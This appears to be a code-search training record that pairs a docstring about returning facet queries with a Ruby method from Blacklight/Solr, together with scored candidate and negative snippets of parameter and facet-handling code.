"def params\n\t\t\trequest.params.symbolize_keys(deep: true)\n\t\trescue ArgumentError => e\n\t\t\traise unless e.message.include?('invalid %-encoding')\n\n\t\t\t{}\n\t\tend", "def prepare_base_params()\n\t\tparams=Hash.new\n\t\tparams=add_params(params,\"application\",@testobj[:application])\t\n\t\treturn params\n\tend", "def parameters\n @property_hash[:parameters]\n end", "def hash\n [uri, parameters, username, password, verify_mode].hash\n end", "def params\n @params ||= HashWithIndifferentAccess.new(request.params.merge(env[\"rack.routing_args\"]))\n end", "def __get_params(data)\n if @params.kind_of?(Hash)\n @keyword_params = Utils::Hash.keys_to_sym(@params)\n @params = nil\n end\n end", "def __get_params(data)\n \n # If named arguments used, assigns keys as symbols\n # but keeps numeric arguments as integers\n \n if @params.kind_of? Hash\n @params = @params.dup\n @keyword_params = JsonRpcObjects::Utils::Hash.remove!(@params) do |k, v|\n not JsonRpcObjects::Utils::String.numeric? k\n end\n \n @params = @params.sort_by { |i| i[0].to_i }.map { |i| i[1] }\n else\n @keyword_params = { }\n end\n \n JsonRpcObjects::Utils::Hash.keys_to_sym! @keyword_params\n \n end", "def parameters\n h = {}\n keys.each { |k| h[k.to_sym] = Jeapie.instance_variable_get(\"@#{k}\") }\n h\n end", "def request_params( params = {} )\n params\n end", "def params\n Hash[\n fields.map { |field,key|\n next if key.nil?\n key = (prefix+key.to_s)\n\n [key, options[field]] unless options[field].nil?\n }.compact\n ]\n end", "def amphibian_params\n base_params\n end", "def params\n @params ||= self.class.params.dup\n end", "def toParamMAP\r\n\t\t\t\t\trequestBody = Hash.new\r\n\t\t\t\t\t\r\n\t\t\t\t\tif name != nil\r\n\t\t\t\t\t\trequestBody[\"name\"] = name\r\n\t\t\t\t\tend\r\n\r\n\t\t\t\t\treturn requestBody\r\n\t\t\t\tend", "def params \n @params ||= Waves::Request::Query.new( captured ? \n Waves::Request::Utilities.destructure( request.query ).merge( captured.to_h ) : \n Waves::Request::Utilities.destructure( request.query ) ) \n end", "def toParamMAP\r\n\t\t\t\t\trequestBody = Hash.new\r\n\t\t\t\t\t\r\n\t\t\t\t\tif name != nil\r\n\t\t\t\t\t\trequestBody[\"name\"] = name\r\n\t\t\t\t\tend\r\n\t\t\t\t\t\r\n\t\t\t\t\treturn requestBody\r\n\t\t\t\tend", "def omniauth_params\n request.env['omniauth.auth'].to_hash\n end", "def omniauth_params\n request.env['omniauth.auth'].to_hash\n end", "def correct_hashed_params\n params = {}\n @params.each do |key, value|\n if key.scan(/([a-zA-Z]*)\\[([a-zA-Z]*)\\]/).size > 0\n r = key.scan(/([a-zA-Z]*)\\[([a-zA-Z]*)\\]/).first\n params[r.first] = {} if params[r.first].nil?\n params[r.first][r.last] = value\n else\n params[key] = value\n end\n end\n return params\n end", "def params\n flat = {}\n @options[:params].merge( :track => @options[:filters] ).each do |param, val|\n next if val.to_s.empty? || (val.respond_to?(:empty?) && val.empty?)\n val = val.join(\",\") if val.respond_to?(:join)\n flat[param.to_s] = val.to_s\n end\n flat\n end" ]
[ "0.7996212", "0.7606688", "0.7545418", "0.7533114", "0.7533114", "0.7514495", "0.7514495", "0.7217556", "0.7210483", "0.7162941", "0.7156902", "0.7133004", "0.7077899", "0.7077899", "0.70688134", "0.7056327", "0.70452887", "0.70210683", "0.7015174", "0.6986102", "0.6974542", "0.6974542", "0.6965207", "0.6965207", "0.6965207", "0.6961854", "0.6958572", "0.6946625", "0.6936418", "0.69339025", "0.69082004", "0.68760794", "0.6870376", "0.6863436", "0.6859453", "0.68526113", "0.68526113", "0.685256", "0.6843417", "0.68105036", "0.68046767", "0.6788766", "0.67644846", "0.674726", "0.6743632", "0.6732338", "0.67174697", "0.67174697", "0.67174697", "0.67174697", "0.6705934", "0.67042357", "0.67017436", "0.66996634", "0.66977704", "0.66936946", "0.66685337", "0.6668374", "0.66454315", "0.6640682", "0.6639498", "0.6639498", "0.6629921", "0.6622558", "0.6622558", "0.6618578", "0.66128284", "0.65793514", "0.65765613", "0.65765613", "0.65653604", "0.6562606", "0.6562369", "0.65594906", "0.65341616", "0.6531174", "0.6529723", "0.6522784", "0.65196157", "0.6517441", "0.6516018", "0.65153074", "0.6508253", "0.65060043", "0.65045094", "0.64941007", "0.6491837", "0.6484807", "0.64845085", "0.64807796", "0.6476503", "0.6466717", "0.6464307", "0.6455391", "0.644467", "0.6438894", "0.6437924", "0.64255214", "0.64255214", "0.6418847", "0.6408908" ]
0.0
-1
Returns the entire facet hash
def facets @facets ||= raw_response['facet_counts'] || {} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def facet_map\n @facets ||= Domgen::OrderedHash.new\n end", "def facets\n @facets ||= raw[:facets]\n end", "def facet_map\n @facets ||= Reality::OrderedHash.new\n end", "def facet_json\n @facet_json ||= (self['facets'] || {}).select { |k, v| k != 'count' }\n end", "def facets\n @solr_data[:facets]\n end", "def map_facet_values\n map_facet_field = blacklight_config.view.maps.facet_mode == 'coordinates' ?\n blacklight_config.view.maps.coordinates_facet_field :\n blacklight_config.view.maps.geojson_field\n @response.aggregations[map_facet_field]&.items || []\n end", "def facets\n @solr_data[:facets]\n end", "def facet_queries\n @facet_queries ||= facet_counts['facet_queries'] || {}\n end", "def facet_queries\n @facet_queries ||= facet_counts['facet_queries'] || {}\n end", "def facets\n @facets ||= search.facets\n end", "def facet_pivot\n @facet_pivot ||= facet_counts['facet_pivot'] || {}\n end", "def hash\n [query, paging, include, include_request, fields, sort, templates, defaults, localization, filter_queries, facet_queries, facet_fields, facet_intervals, pivots, stats, spellcheck, scope, limits, highlight, ranges].hash\n end", "def facet_queries\n @facet_queries ||= facets['facet_queries'] || {}\n end", "def facet_field_aggregations\n list_as_hash(facet_fields).each_with_object({}) do |(facet_field_name, values), hash|\n items = values.map do |value, hits|\n i = FacetItem.new(value: value, hits: hits)\n\n # solr facet.missing serialization\n if value.nil?\n i.label = I18n.t(:\"blacklight.search.fields.facet.missing.#{facet_field_name}\", default: [:\"blacklight.search.facets.missing\"])\n i.fq = \"-#{facet_field_name}:[* TO *]\"\n end\n\n i\n end\n\n options = facet_field_aggregation_options(facet_field_name)\n hash[facet_field_name] = FacetField.new(facet_field_name,\n items,\n options)\n\n # alias all the possible blacklight config names..\n blacklight_config.facet_fields.select { |k,v| v.field == facet_field_name }.each do |key,_|\n hash[key] = hash[facet_field_name]\n end if blacklight_config and !blacklight_config.facet_fields[facet_field_name]\n end\n end", "def facet_field_names\n Blacklight.config[:facet][:field_names]\n end", "def facet_pivot_aggregations\n facet_pivot.each_with_object({}) do |(field_name, values), hash|\n next unless blacklight_config and !blacklight_config.facet_fields[field_name]\n\n items = values.map do |lst|\n construct_pivot_field(lst)\n end\n\n # alias all the possible blacklight config names..\n blacklight_config.facet_fields.select { |k,v| v.pivot and v.pivot.join(\",\") == field_name }.each do |key, _|\n hash[key] = Blacklight::Solr::Response::Facets::FacetField.new key, items\n end\n end\n end", "def facet_query_aggregations\n return {} unless blacklight_config\n\n blacklight_config.facet_fields.select { |k,v| v.query }.each_with_object({}) do |(field_name, facet_field), hash|\n include_zero_hits = facet_field.dig('solr_params', 'facet.mincount') == 0\n salient_facet_queries = facet_field.query.map { |k, x| x[:fq] }\n items = facet_queries.select { |k,v| salient_facet_queries.include?(k) }.reject { |value, hits| !include_zero_hits && hits.zero? }.map do |value,hits|\n salient_fields = facet_field.query.select { |key, val| val[:fq] == value }\n key = ((salient_fields.keys if salient_fields.respond_to? :keys) || salient_fields.first).first\n Blacklight::Solr::Response::Facets::FacetItem.new(value: key, hits: hits, label: facet_field.query[key][:label])\n end\n\n hash[field_name] = Blacklight::Solr::Response::Facets::FacetField.new field_name, items\n end\n end", "def facets\n facet_name = request.params[\"f_name\"]\n if facet_name == nil\n render :json => nil\n return\n end\n @presenter = execute_search(-1)\n facet_data = @presenter.facets.find {|f| f.name == facet_name }\n render :json => facet_data.values\n rescue => ex\n backtrace = ex.backtrace.join(\"\\r\\n\")\n Rails.logger.error(\"Could not render facets as JSON. Exception: #{ex} \\r\\n #{backtrace}\")\n render :json => nil, status: 500\n end", "def facet_query_aggregations\n return {} unless blacklight_config\n\n query_facet_fields = blacklight_config.facet_fields.select { |_k, v| v.query }\n query_facet_fields.each_with_object({}) do |(field_name, facet_field), hash|\n facet_query_params = facet_field.query.map { |_k, v| v[:fq] }\n response_facet_queries = facet_queries.dup\n response_facet_queries.select! { |k, _hits| facet_query_params.include?(k) }\n response_facet_queries.reject! { |_k, hits| hits == 0 }\n\n items = response_facet_queries.map do |value, hits|\n salient_fields = facet_field.query.select { |_k, v| v[:fq] == value }\n key = ((salient_fields.keys if salient_fields.respond_to? :keys) || salient_fields.first).first\n FacetItem.new(value: key, hits: hits, label: facet_field.query[key][:label])\n end\n\n hash[field_name] = FacetField.new(field_name, items)\n end\n end", "def active_facets\n\t\t\treturn @selected if @selected\n\t\t\t@selected={}\n\t\t\tfacets.each do |k,v|\n\t\t\t\t@selected[k]=nil\n\t\t\t\tv.each do |f|\n\t\t\t\t@selected[k]=f if f.active_facet?\n\t\t\t\tend\n\t\t\tend\n\t\t\t@selected\n\t\tend", "def facet_json_aggregations\n return {} unless blacklight_config\n facet_json.each_with_object({}) do |(key, value), hash|\n facet_config = blacklight_config.facet_fields[key]\n json_facet = facet_config[:json_facet]\n items = subfacet(key, json_facet[key.to_sym], value)\n\n # facet queries return only a single FacetItem (because they are inherently\n # singletons). However, it seems likely that FacetField may assume that\n # its `items` attribute is an array; so at the top level we make sure such\n # assumptions will remain valid\n items = [items] if items.is_a?(FacetItem)\n\n # alias all the possible blacklight config names..\n blacklight_config.facet_fields.select { |k,v| v.json_facet and k == key }.each do |key, _|\n hash[key] = Blacklight::Solr::Response::Facets::FacetField.new key, items\n end\n end\n end", "def facet\n @pagination = get_facet_pagination\n end", "def facet\n @facet = blacklight_config.facet_fields[params[:id]]\n raise ActionController::RoutingError, 'Not Found' unless @facet\n\n @response = search_service.facet_field_response(@facet.key)\n @display_facet = @response.aggregations[@facet.field]\n\n @presenter = @facet.presenter.new(@facet, @display_facet, view_context)\n @pagination = @presenter.paginator\n respond_to do |format|\n format.html do\n # Draw the partial for the \"more\" facet modal window:\n return render layout: false if request.xhr?\n # Otherwise draw the facet selector for users who have javascript disabled.\n end\n format.json\n end\n end", "def parse_facets_hash(facets_hash = {})\n facets = [] \n facets_hash.each do |name, options|\n next if options.size <= 1\n facet = Facet.new(name)\n options.each do |value, count|\n next if value.blank?\n facet.options << FacetOption.new(value, count)\n end\n facets << facet\n end\n facets\n end", "def facet_limit_hash\n Blacklight.config[:facet][:limits] || {}\n end", "def manifestation_facet_field_names\n Blacklight.config[:facet_manifestations][:field_names]\n end", "def facets\n self.facet_list.any? ? SearchFacet.where(:identifier.in => self.facet_list) : SearchFacet.visible\n end", "def facet\n # raise\n @facet = blacklight_config.facet_fields[params[:id]]\n return render json: nil, status: :bad_request unless @facet\n\n # Allow callers to pass in extra params, that won't be sanitized-out by\n # the processing that 'params' undergoes\n extra_params = params[:extra_params] || {}\n\n @response = get_facet_field_response(@facet.key, params, extra_params)\n @display_facet = @response.aggregations[@facet.key]\n\n @pagination = facet_paginator(@facet, @display_facet)\n\n # 2/23/2017 - turned off after two weeks of data collection (NEXT-908)\n # # 2/7/2017 - get some info on see-more sizes, hopefully to be\n # # turned off pretty soon. Hardcode test to current limit, 500)\n # limit = (@display_facet.items.size == 501) ? ' - HIT LIMIT' : ''\n # Rails.logger.warn \"FACET-SEE-MORE name: #{@display_facet.name} count: #{@display_facet.items.size}#{limit}\"\n\n respond_to do |format|\n # Draw the facet selector for users who have javascript disabled:\n format.html\n format.json { render json: render_facet_list_as_json }\n\n # Draw the partial for the \"more\" facet modal window:\n format.js { render layout: false }\n end\n end", "def facet_description\n %{ in facet \"#{@field}\"}\n end", "def facet\n # raise\n @facet = blacklight_config.facet_fields[params[:id]]\n return render json: nil, status: :bad_request unless @facet\n\n # Allow callers to pass in extra params, that won't be sanitized-out by\n # the processing that 'params' undergoes\n extra_params = params[:extra_params] || {}\n\n @response = get_facet_field_response(@facet.key, params, extra_params)\n @display_facet = @response.aggregations[@facet.key]\n\n @pagination = facet_paginator(@facet, @display_facet)\n\n # 2/23/2017 - turned off after two weeks of data collection (NEXT-908)\n # # 2/7/2017 - get some info on see-more sizes, hopefully to be\n # # turned off pretty soon. Hardcode test to current limit, 500)\n # limit = (@display_facet.items.size == 501) ? ' - HIT LIMIT' : ''\n # Rails.logger.warn \"FACET-SEE-MORE name: #{@display_facet.name} count: #{@display_facet.items.size}#{limit}\"\n\n respond_to do |format|\n # Draw the facet selector for users who have javascript disabled:\n format.html { render layout: false }\n format.json { render json: render_facet_list_as_json }\n\n # Draw the partial for the \"more\" facet modal window:\n format.js { render layout: false }\n end\n end", "def facet\n @pagination = get_facet_pagination(params[:id])\n end", "def facet_field(field)\n facet_fields[field.to_s] || []\n end", "def facet_by_field_name(name)\n @facets_by_field_name ||= {}\n @facets_by_field_name[name] ||= (\n facets.detect{|facet|facet.name.to_s == name.to_s}\n )\n end", "def facets_from_response(facets)\n return if facets.nil?\n {}.tap {|hash| facets.each{|term, results| hash[term] = facets_for_term(term, results['terms'])}}\n end", "def get_facet_identifiers\n facet_filters.map { |facet_data| facet_data.split(':').first }.flatten\n end", "def facet_field_labels\n Blacklight.config[:facet][:labels]\n end", "def facets(facet_counts, stats)\n return [] unless facet_counts['facet_fields']\n display_label_map = Hyacinth::DigitalObject::Facets.facet_display_label_map\n facet_page_size = Hyacinth::Config.digital_object_search_adapter.ui_config.facet_page_size\n\n facet_counts['facet_fields'].map do |facet_field, value_counts|\n has_more = !value_counts[2 * facet_page_size].nil?\n {\n field_name: facet_field,\n display_label: display_label_map[facet_field] || facet_field.split('_')[0...-1].map(&:titlecase).join(' '),\n values: facet_values_from_counts(value_counts, facet_page_size),\n total_count: stats.dig('stats_fields', facet_field, 'countDistinct').to_i,\n has_more: has_more\n }\n end\n end", "def get_filter_values\n facet_filters.map { |facet_data| facet_data.split(':').last.split(',')}.flatten\n end", "def to_facet_options\n to_search_options.slice(:select, :with, :conditions, :geo)\n end", "def to_jaxb_json_hash\n _h = {}\n if !facetList.nil?\n _ha = Array.new\n facetList.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['facetList'] = _ha\n end\n if !facetIds.nil?\n _ha = Array.new\n facetIds.each { | _item | _ha.push _item.to_jaxb_json_hash }\n _h['facetIds'] = _ha\n end\n _h['facets'] = facets.to_jaxb_json_hash unless facets.nil?\n return _h\n end", "def facet_field_names(lens = nil)\n blacklight_config_for(lens).facet_fields.values.map(&:field)\n end", "def index\n\t\tfacets\n\tend", "def geographic_facet\n geographic_search.map { |val| val.sub(/[\\\\,;]$/, '').strip } if geographic_search\n end", "def general_facet_names\n facet_field_names - admin_facet_names\n end", "def visual_hash\n document.visual_hash\n end", "def facet_field_values(field)\n facet_field_values ||= {}\n facet_field_values[field.to_s] ||= begin\n a = []\n facet_field(field).each_with_index do |val_or_count, i|\n a << val_or_count if i % 2 == 0 && facet_field(field)[i+1] > 0\n end\n a\n end\n end", "def hash\n @hash.hash\n end", "def all\n @hash.values\n end", "def values\n @hash.values\n end", "def fetch_facets(query, facets_array, include_zero)\n Rails.logger.debug(\"Finding facets for query '#{query}'\")\n criteria = {}\n criteria[:page_size] = 1\n criteria['facet[]'] = facets_array\n criteria['facet.mincount'] = 1 if !include_zero\n data = archivesspace.search(query, 1, criteria) || {}\n faceting = {}\n if !data['facets'].blank? && !data['facets']['facet_fields'].blank?\n faceting = data['facets']['facet_fields']\n end\n end", "def facets\n @plugins.find_all { |p| p.is_a? BaseFacet }\n end", "def single_facet_values(facet_field)\n query_params = { q: '', rows: '0', 'facet.limit'=> -1, 'facet.field' => facet_field}\n solr_results = repository.search(query_params)\n facet_field_results = solr_results.facet_counts['facet_fields']\n collect_facet_field_values(facet_field_results).fetch(facet_field,[])\n end", "def results\n facet_results = blacklight_config.repository.search(query)\n facet_results.facet_fields[depositor_field].each_slice(2)\n end", "def to_params #:nodoc:\n components = @components.map { |component| component.to_boolean_phrase }\n components = components.first if components.length == 1\n {\n :facet => 'true',\n :\"facet.query\" => components\n }\n end", "def compose_facet! facet\n # At this time: arch_path usage in abs_path should be resolvable.\n # facet.uncache_abs_path!\n @abs_path = uniq_lastmost(abs_path + facet.abs_path)\n=begin\n if @key == 'lib/ruby'\n $stderr.puts \" compose_facet! #{@key.inspect}\"\n $stderr.puts \" from = #{facet.owner}\\n abs_path = #{facet.abs_path.inspect}\"\n $stderr.puts \" to = #{@owner}\\n abs_path = #{@abs_path.inspect}\"\n end\n=end\n self \n end", "def all\n @hash_tags\n end", "def subfacet(key, req, rsp)\n case req[:type]\n when 'query'\n count = rsp[:count]\n return Blacklight::Solr::Response::Facets::FacetItem.new(value: key, hits: count, label: key, subs: subs(req, rsp, {count: count}))\n when 'terms'\n # most info/stats/facets are at the level of the individual term\n # here we ignore top-level \"count\", but TODO: perhaps in some contexts it could be relevant?\n # count = rsp['count']\n field_name = req[:field]\n parent_fq = nil #nocommit: should populate parent_fq to be meaningful?\n return rsp['buckets'].map do |bucket|\n val = bucket[:val]\n count = bucket[:count]\n Blacklight::Solr::Response::Facets::FacetItem.new(\n value: val,\n hits: count,\n field: field_name,\n fq: parent_fq,\n subs: subs(req, bucket, {val: val, count: count})\n )\n end\n else\n raise StandardError, \"unsupported facet type: #{req[:type]}\" # range, heatmap\n end\n end", "def hash\n [@collection.full_namespace, @opts.hash, @selector.hash].hash\n end", "def values\n @hash.values\n end", "def collect_facet_field_values(facet_field_results)\n results = {}\n facet_field_results.each do |facet_field, facet_counts|\n results[facet_field] = (0...facet_counts.length/2).map do |ix|\n { name: facet_counts[ix * 2], count: facet_counts[1 + ix * 2] }\n end\n end\n results\n end", "def hashes\n return @hashes\n end", "def hash\n @elements.hash\n end", "def hash\n @elements.hash\n end", "def facet_field_names_for_advanced_search\n @facet_field_names_for_advanced_search ||=\n blacklight_config.facet_fields.reject { |_key, field_def|\n field_def.include_in_advanced_search.is_a?(FalseClass)\n }.values.map(&:field)\n end", "def renderfilterchainhash\n return @renderHash\n end", "def build_term_values\n term_values = fetch_facet_terms_for(@key)\n # Return basic elasticsearch result terms if we dont have method defined\n return generate_facet_terms_by_result unless term_values\n\n term_values.map { |term| FacetTerm.new(group: self, id: term.fetch(:id), term: term.fetch(:term), count: fetch_count_for( term.fetch(:id) ) ) }\n end", "def aggregations\n @aggregations ||= {}.merge(facet_field_aggregations).merge(facet_query_aggregations).merge(facet_pivot_aggregations).merge(facet_json_aggregations)\n end", "def edit_facet_fields\n @fields = blacklight_solr.get('admin/luke', params: { fl: '*', 'json.nl' => 'map' })['fields']\n end", "def manifestation_facet_field_labels\n Blacklight.config[:facet_manifestations][:labels]\n end", "def dealias_facet(facet)\n case facet\n when :all, 'all'\n normalized_facets[:all][:fields]\n when :all_attributes, 'all_attributes'\n normalized_facets[:all][:attributes]\n when Symbol, String\n facet = facet.to_sym\n aliased_facet?(facet) ? dealias_facet(facets[facet]) : { facet => {} }\n when Array\n facet.inject({}) do |result, f|\n result.deep_merge! dealias_facet(f)\n end\n when Hash\n facet.inject({}) { |result, (f, nf)|\n dealias_facet(f).each { |i_f, i_nf|\n result.deep_merge!({ i_f => merge_facets(i_nf, nf) })\n }\n result\n }\n end\n end", "def facet_search_options\n # maxValuesPerFacet: 20,\n personal_search_options.merge(\n facets: '_tags', page: 0, hitsPerPage: 1, tagFilters: ''\n )\n end", "def normalize_facet(facet)\n case facet\n when nil\n {}\n when Symbol, String\n {facet.to_sym => nil}\n when Array\n facet.flatten.compact.inject({}) do |result, s|\n result = merge_facets(result, s)\n end\n when Hash\n facet.inject({}) { |result, (k,v)| result[k.to_sym] = v; result }\n end\n end", "def to_facet\n TermsFacet.new(\n default_params.merge(\n :label => prefix_label('display_result'),\n :size => (@num_result_rows || self.class::DEFAULT_NUM_RESULTS) + checked_rows.length,\n :exclude => exclude,\n :facet_filter => facet_filter\n )\n )\n end", "def get_summon_facets\n get_user_summon_facets ||\n get_system_summon_facets ||\n []\n end", "def hash\n [additional_query_filters, data_source, group_mode, measure, name, slo_id, slo_query_type].hash\n end", "def all_valuefield_hash\n hash = {}\n items = @all_valuefields\n for vf in items\n hash[vf] = {}\n end\n return hash\n end", "def fields\r\n @hash.keys\r\n end", "def search_facet_fields\n self.content_columns.select {|c| [:boolean,:decimal,:float,:integer,:string,:text].include?(c.type) }.map {|c| c.name }\n end", "def elementhash\n return @elementHash\n end", "def hash\n [paginate_sheets, count_rows_per_page, count_columns_per_page, render_grid_lines, render_empty_rows, render_empty_columns, render_hidden_rows, render_hidden_columns, render_headings, render_print_area_only, text_overflow_mode].hash\n end", "def to_h\n { head: head.map(&:to_h), face: face.map(&:to_h) }\n end", "def hash\n data.hash\n end", "def to_h\n Hash[all_entries]\n end", "def inject_facet(facet, key)\n case key\n when Symbol, String\n facet[key.to_sym] = {}\n when Hash\n facet.deep_merge! key\n when Array\n key.each { |k| inject_facet(facet, k) }\n end\n facet\n end", "def facet\n @browse_config = BlacklightFacetBrowse::ConfigInfo.new(blacklight_config, params[:id])\n\n if ! @browse_config.browse_configured?\n # first do no harm, do nothing if the facet ain't configured\n # for browse. \n super\n else\n # Mostly copied and modified from current BL 4.4, although will work\n # with older BL, in some cases adding features. Use\n # our custom get_browse_facet_pagination\n\n # If no other sort is specified, and we have no prefix query,\n # insist on defaulting to 'index', anything else is confusing. \n if params[\"catalog_facet.sort\"].blank? && params[ @browse_config.query_param_name ].present?\n params[\"catalog_facet.sort\"] = \"index\"\n end\n\n\n @pagination = get_browse_facet_pagination(params[:id], params)\n\n respond_to do |format| \n format.html do \n # we're going to use a custom view, possibly user specified,\n # but the default is \"browsable_facet\"\n render @browse_config.browsable_facet_template\n end\n\n # Draw the partial for the \"more\" facet modal window,\n # without layout. \n format.js { render @browse_config.browsable_facet_template, :layout => false }\n\n # Json format copied from BL 4.4, there was no json response in\n # BL 3.5, we need one, sure let's use that one to try and be compat -- \n # we intentionally don't use a hook method that lets someone redefine\n # this, because if they redefine it our js won't understand it!\n format.json { render json: {response: {facets: @pagination }}}\n end\n end\n end", "def process_facets\n public_plans_params.fetch(:facet, {})\n end", "def quad_faces\r\n @faces_to_quads.keys\r\n end", "def hash\n @hash\n end", "def facet(facet_field)\n params['facet_field'] = facet_field\n params['facet_filter'] = true\n self\n end", "def fields_hash\n each_pair.to_h\n end", "def hash\n [searchable_id].hash\n end", "def hash\n [additional_query_filters, global_time_target, show_error_budget, slo_id, time_windows, title, title_align, title_size, type, view_mode, view_type].hash\n end", "def hash\n [].hash\n end", "def hash\n element.hash\n end", "def sections\n @data.keys\n end", "def results\n facet_results, _docs = search_service.search_results\n facet_results.facet_fields[IndexesWorkflow.suppressed_field].each_slice(2)\n end", "def hash\n @content.hash\n end", "def cached_facet_options\n # Stash all of the available faceting options into the cache so that its not using up valuable memory each time\n # {\n # :funders=>\n # [:\"170\", {:label=>\"United States Department of Agriculture (usda.gov)\", :nbr_plans=>18, :selected=>false}]\n # ]\n # :institutions=> [\n # [:\"4497\", {:label=>\"São Paulo Research Foundation (fapesp.br)\", :nbr_plans=>313, :selected=>false}]\n # ]\n # :languages=> [\n # [:\"2\", {:label=>\"English (US)\", :nbr_plans=>707, :selected=>false}\n # ],\n # :subjects=> [\n # [:\"6\", {:label=>\"Earth and related environmental sciences\", :nbr_plans=>70, :selected=>false}\n # ]\n # }\n # faceting_options = Rails.cache.fetch('public_plans/faceting_options', expires_in: 24.hours) do\n Rails.cache.fetch('public_plans/faceting_options', expires_in: 12.hours) do\n languages = ::Language.joins('INNER JOIN plans on plans.language_id = languages.id')\n .where('plans.visibility = ?', ::Plan.visibilities[:publicly_visible])\n .order('count(plans.id) DESC, languages.name')\n .group('languages.id, languages.name')\n .pluck('languages.id, languages.name, count(plans.id) as nbr_plans')\n\n funders = ::Org.joins(:funded_plans).includes(:funded_plans)\n .where('plans.visibility = ?', ::Plan.visibilities[:publicly_visible])\n .order('count(plans.id) DESC, orgs.name')\n .group('orgs.id, orgs.name')\n .pluck('orgs.id, orgs.name, count(plans.id) as nbr_plans')\n\n institutions = ::Org.joins(:plans).includes(:plans)\n .where('plans.visibility = ?', ::Plan.visibilities[:publicly_visible])\n .order('count(plans.id) DESC, orgs.name')\n .group('orgs.id, orgs.name')\n .pluck('orgs.id, orgs.name, count(plans.id) as nbr_plans')\n\n subjects = ::ResearchDomain.joins('INNER JOIN plans on plans.research_domain_id = research_domains.id')\n .where('plans.visibility = ?', ::Plan.visibilities[:publicly_visible])\n .order('count(plans.id) DESC, research_domains.label')\n .group('research_domains.id, research_domains.label')\n .pluck('research_domains.id, research_domains.label, count(plans.id) as nbr_plans')\n\n {\n funders: result_to_hash(array: funders),\n institutions: result_to_hash(array: institutions),\n languages: result_to_hash(array: languages),\n subjects: result_to_hash(array: subjects)\n }\n end\n end", "def entries\n @data.keys\n end", "def to_h\n @hash\n end" ]
[ "0.75947857", "0.7558356", "0.75469875", "0.7227009", "0.6799414", "0.672242", "0.6700227", "0.66612697", "0.66612697", "0.6630373", "0.66186017", "0.6617633", "0.6548135", "0.6459091", "0.6406493", "0.635793", "0.6326085", "0.631624", "0.6287109", "0.62678635", "0.6200945", "0.6193396", "0.6157981", "0.6120189", "0.61024773", "0.6055068", "0.6053968", "0.6028799", "0.60270005", "0.6015834", "0.59602183", "0.5928684", "0.59235936", "0.5833401", "0.5818012", "0.5784899", "0.57839894", "0.57637775", "0.57571775", "0.5756608", "0.57344204", "0.5724747", "0.57236826", "0.5718602", "0.57037145", "0.56560713", "0.56490266", "0.56210154", "0.5619353", "0.56070316", "0.5594874", "0.5580731", "0.55770487", "0.5576522", "0.55474406", "0.5545107", "0.5542213", "0.55385405", "0.55374914", "0.553546", "0.5535171", "0.5533604", "0.5533604", "0.5532234", "0.55299234", "0.55235726", "0.55227673", "0.55031437", "0.5502445", "0.54828197", "0.54560614", "0.5448578", "0.5442462", "0.5429667", "0.5429657", "0.54294646", "0.54169774", "0.54131323", "0.53992707", "0.5385056", "0.53803927", "0.5357824", "0.5352583", "0.5347249", "0.5340857", "0.5332906", "0.53146607", "0.530731", "0.530243", "0.52955043", "0.5292585", "0.52826667", "0.5271738", "0.5247692", "0.52455187", "0.52422553", "0.52230346", "0.5214286", "0.52106345", "0.5210042" ]
0.6812832
4
Returns all of the facet queries
def facet_queries @facet_queries ||= facets['facet_queries'] || {} end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def facet_queries\n @facet_queries ||= facet_counts['facet_queries'] || {}\n end", "def facet_queries\n @facet_queries ||= facet_counts['facet_queries'] || {}\n end", "def facets\n self.facet_list.any? ? SearchFacet.where(:identifier.in => self.facet_list) : SearchFacet.visible\n end", "def facets\n @facets ||= search.facets\n end", "def results\n facet_results = blacklight_config.repository.search(query)\n facet_results.facet_fields[depositor_field].each_slice(2)\n end", "def facet_query_aggregations\n return {} unless blacklight_config\n\n query_facet_fields = blacklight_config.facet_fields.select { |_k, v| v.query }\n query_facet_fields.each_with_object({}) do |(field_name, facet_field), hash|\n facet_query_params = facet_field.query.map { |_k, v| v[:fq] }\n response_facet_queries = facet_queries.dup\n response_facet_queries.select! { |k, _hits| facet_query_params.include?(k) }\n response_facet_queries.reject! { |_k, hits| hits == 0 }\n\n items = response_facet_queries.map do |value, hits|\n salient_fields = facet_field.query.select { |_k, v| v[:fq] == value }\n key = ((salient_fields.keys if salient_fields.respond_to? :keys) || salient_fields.first).first\n FacetItem.new(value: key, hits: hits, label: facet_field.query[key][:label])\n end\n\n hash[field_name] = FacetField.new(field_name, items)\n end\n end", "def facets\n @solr_data[:facets]\n end", "def facet\n @pagination = get_facet_pagination\n end", "def fetch_facets(query, facets_array, include_zero)\n Rails.logger.debug(\"Finding facets for query '#{query}'\")\n criteria = {}\n criteria[:page_size] = 1\n criteria['facet[]'] = facets_array\n criteria['facet.mincount'] = 1 if !include_zero\n data = archivesspace.search(query, 1, criteria) || {}\n faceting = {}\n if !data['facets'].blank? && !data['facets']['facet_fields'].blank?\n faceting = data['facets']['facet_fields']\n end\n end", "def facets\n @solr_data[:facets]\n end", "def facets\n @facets ||= raw[:facets]\n end", "def facet_query_aggregations\n return {} unless blacklight_config\n\n blacklight_config.facet_fields.select { |k,v| v.query }.each_with_object({}) do |(field_name, facet_field), hash|\n include_zero_hits = facet_field.dig('solr_params', 'facet.mincount') == 0\n salient_facet_queries = facet_field.query.map { |k, x| x[:fq] }\n items = facet_queries.select { |k,v| salient_facet_queries.include?(k) }.reject { |value, hits| !include_zero_hits && hits.zero? }.map do |value,hits|\n salient_fields = facet_field.query.select { |key, val| val[:fq] == value }\n key = ((salient_fields.keys if salient_fields.respond_to? :keys) || salient_fields.first).first\n Blacklight::Solr::Response::Facets::FacetItem.new(value: key, hits: hits, label: facet_field.query[key][:label])\n end\n\n hash[field_name] = Blacklight::Solr::Response::Facets::FacetField.new field_name, items\n end\n end", "def facet\n @pagination = get_facet_pagination(params[:id])\n end", "def facets\n facet_name = request.params[\"f_name\"]\n if facet_name == nil\n render :json => nil\n return\n end\n @presenter = execute_search(-1)\n facet_data = @presenter.facets.find {|f| f.name == facet_name }\n render :json => facet_data.values\n rescue => ex\n backtrace = ex.backtrace.join(\"\\r\\n\")\n Rails.logger.error(\"Could not render facets as JSON. Exception: #{ex} \\r\\n #{backtrace}\")\n render :json => nil, status: 500\n end", "def facets\n @plugins.find_all { |p| p.is_a? BaseFacet }\n end", "def query_constraints\n # the `+` with @facet_constraint_component is copied from original implementation, and\n # I think is about \"advanced search\" feature?\n\n helpers.render(@query_constraint_component.new(\n search_state: @search_state\n 